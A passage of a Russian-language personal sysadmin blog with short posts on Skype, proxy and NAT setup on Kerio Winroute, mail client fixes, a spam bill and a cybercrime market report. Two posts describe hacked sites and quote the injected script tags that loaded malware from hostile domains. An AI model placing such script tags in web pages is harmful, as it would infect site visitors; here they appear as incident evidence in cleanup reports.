Сегодня, буквально пару минут назад, произошел странный инцидент.

Skype вылетел и на данный момент не желает запускаться. Открывается окно, попытка авторизации и процесс умирает. В htop процесса не видно. Проблема наблюдается у всех разработчиков, у кого Ubuntu.

Что за сайт idealvk.msk.ru? Зайдя на 1 из сайтов клиента, обнаружил, что Firefox пытается ограничить доступ к сайту, т.к. считает его небезопасным и распространяющим вредоносные программы.

Полез в исходники и нашел после текста каждой новости вот такой вот текст

<script src="https://idealvk.msk.ru/bbab3ab7bf8ddf63a07cc51429f2e306.js" type="text/javascript"></script>

Какой-то козёл взломал сайт или соседний сайт на аккаунте и поправил в таблице текст всех новостей, добавив к ним этот код. Код кстати этот вызывает эксплойт и пытается загружать на компьютер вирусы. Дорогой кулхацкер — я желаю тебе всяческих болезней и недугов.

Ведомости вещают — Депутаты разработали законопроект, предусматривающий до двух лет исправительных работ за рассылку спама. Эксперты считают, что его нужно серьезно дорабатывать.

Поправки разработаны комитетом Госдумы по информационной политике совместно с Российской ассоциацией электронных коммуникаций (РАЭК), сообщил член думского комитета Илья Пономарев. Скорректировать предлагается законы об информации и о связи, Кодекс об административных правонарушениях (КоАП) и Уголовный кодекс (УК) — в частности, ввести уголовную ответственность за массовое распространение спама. Сейчас спам подпадает только под действие КоАП как недобросовестная реклама, за которую положен штраф до 500 000 руб. Авторы поправок предлагают повысить предельный размер штрафа до 1 млн руб. (а если спам рассылается «группой лиц по предварительному сговору» — то до 2 млн руб.) и предусмотреть более строгое наказание — исправительные работы от пяти суток до года (для группы лиц — до двух лет).

Привет, сегодня у нас на повестке дня два вопроса — Можно ли переименовать sape.php и можно ли переименовать папку с саповским кодом? Ответ — Можно.

По умолчанию саповская папка с файлами sape.php и links.db имеет ужасное имя типа b2bsc5232aba24736a6ed32aa это не очень удобно и не очень красиво. Поэтому появилась необходимость переименовать папку или вовсе скинуть эти файлы в папку uploads, дабы никого не смущать.

На работе у меня стоит свой почтовый сервак, через который вся почта идет в интернеты, но одному из юзеров захотелось также пользоваться и своей личной почтой на бесплатном почтовике. Поскольку интернеты раздавались через прокси, то и запускать парня пришлось через прокси. Начал настраивать Outlook Express, а вот настроек прокси найти не смог.

Оказалось, Outlook использует настройки прокси сервера, которые заданы в Internet Explorer. А в Internet Explorer делаешь: Сервис\Подключения\Настройка сети. А тут уже указываешь айпишник сервака и открытый порт. Только на моем проксике протоколы POP3 и SMTP не проксируемые. И юзера пришлось выпускать чере NAT. А в конце концов перейдя на безлимит я выпустил всех юзеров через NAT. Меньше правил, меньше просьб открыть аську и скайп.

Наткнулся на хабре на статью, весьма интересную — Основные услуги и тарифы на рынке киберпреступности в странах СНГ. Материал открывает глаза и популярно описывает основные незаконные или почти законные средства заработка в сети Интернет. От написания вирусов и DDOS атак до спам рассылок.

Эксперты Group-IB совместно с ESET и LETA провели первое исследование состояния рынка компьютерных преступлений на постсоветском пространстве. Компания Group-IB позиционирует себя как единственная в России организация, способная расследовать преступления в сфере IT по заказу коммерческих компаний (разумеется, на платной основе), так что такие отчёты им положено издавать по роду деятельности.

На работе возникла необходимость переадресовать входящий трафик с одного компьютера из интернета на один компьютер-сервер во внутренней сети. Использовать VPN не получилось, как я это делал в обычных ситуациях, по неизвестным причинам. Машина находится у юзера дома, поэтому доступа нет, а доступ к серваку 1С нужно организовать.

Система следующая — фаерволл Kerio Winroute Firewall (192.168.100.3) — это единственный компьютер в локальной сети предприятия, который имеет доступ в интернет.

Пользователю с домашнего компьютера необходимо подключиться к терминальному 1С серверу (192.168.100.1) через протокол удаленного доступа RDP, который стоит в локалке за шлюзом и доступа в интернет не имеет.

Довелось мне однажды настраивать PROXY интернет на Kerio Winroute Firewall. GJ сравнению с настройками раздачи интернета через NAT здесь все немного по-другому. Для выхода в интернет через прокси должно быть только правило Firewall >> Internet (без NATа, естесно). И указаны порты, по которым сервер имеет доступ в интернеты.

В нашем случае это правило под именем INTERNET. И я не стал резать порты, а разрешил доступ по всем.

После того, как сервер имеет доступ к интернету. Необходимо включить сам прокси сервер в разделе HTTP Policy  —  Proxy Server. Эта опция включает HTTP прокси-сервер WinRoute в порт, находящийся в Port entry (порт 3128 установлен по умолчанию).

Если вы получаете интернет через другой прокси сервер, то имеется возможность пустить трафик через него — Направить к parent proxy server. И укажите настройки этого сервера.

Функция Allow tunneled connections on non-standard ports позволяет вашим пользователям выходить в интернеты по любым портам, кроме стандартных. Например для скайпа, вебмани или аськи.

Вобщем-то основная настройка завершена. Теперь осталось просто создать пользователей и привязать их либо к IP адресам, либо к Active Directory. Доступ к интернету через прокси смогут иметь все пользователи авторизованные в прокси сервере.

Приехав с отдыха я обнаружил, что google ругается на мой сайт за атаки на компьютеры пользователей. Как оказалось какой-то гомосек поломал скрипт статистики моего сайта и добавил в каждую новость свой злосчастный код.

<script src="https://goooglle.org/d6b875fb36606d8fd679ca3a9f.js" type="text/javascript"></script>

Код пытался загружать на компьютеры посетителей видеоролики, пдф файлы и другими методами заражать компы бедных юзеров. Удалив статистику с дыркой и перезалив движок заново, дабы не оставить шеллов ублюдку я принялся чистить базу. Пришлось базу скачать, пройти регулярным выражением и удалить все эти коды.

А обнаружил гада Google WebMasters Tools и ибрал сайт из выдачи, что снизило трафик в ноль.

Столкнулся с траблой у одного из пользователей. Не отправляется почта из TheBat. Ящик на mail.yandex.ru забираем почту через POP3 отправляем по SMTP.

В логах вот это

SEND - Сервер сообщает об ошибке: 5.7.1 : Sender address rejected: Access denied

Как оказалось, Яндекс требует сначала авторизоваться, прежде чем отправить письмо. А бат был настроен на отправку почты неверно — без аутентификации.

А аутентификация ставится через меню Ящик -> Свойства потового ящика, и там есть кнопочка "Аутенфикация".